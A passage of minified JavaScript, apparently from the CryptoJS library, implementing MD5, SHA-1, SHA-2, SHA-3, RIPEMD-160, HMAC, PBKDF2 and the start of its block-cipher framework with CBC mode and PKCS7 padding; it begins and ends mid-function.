z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r 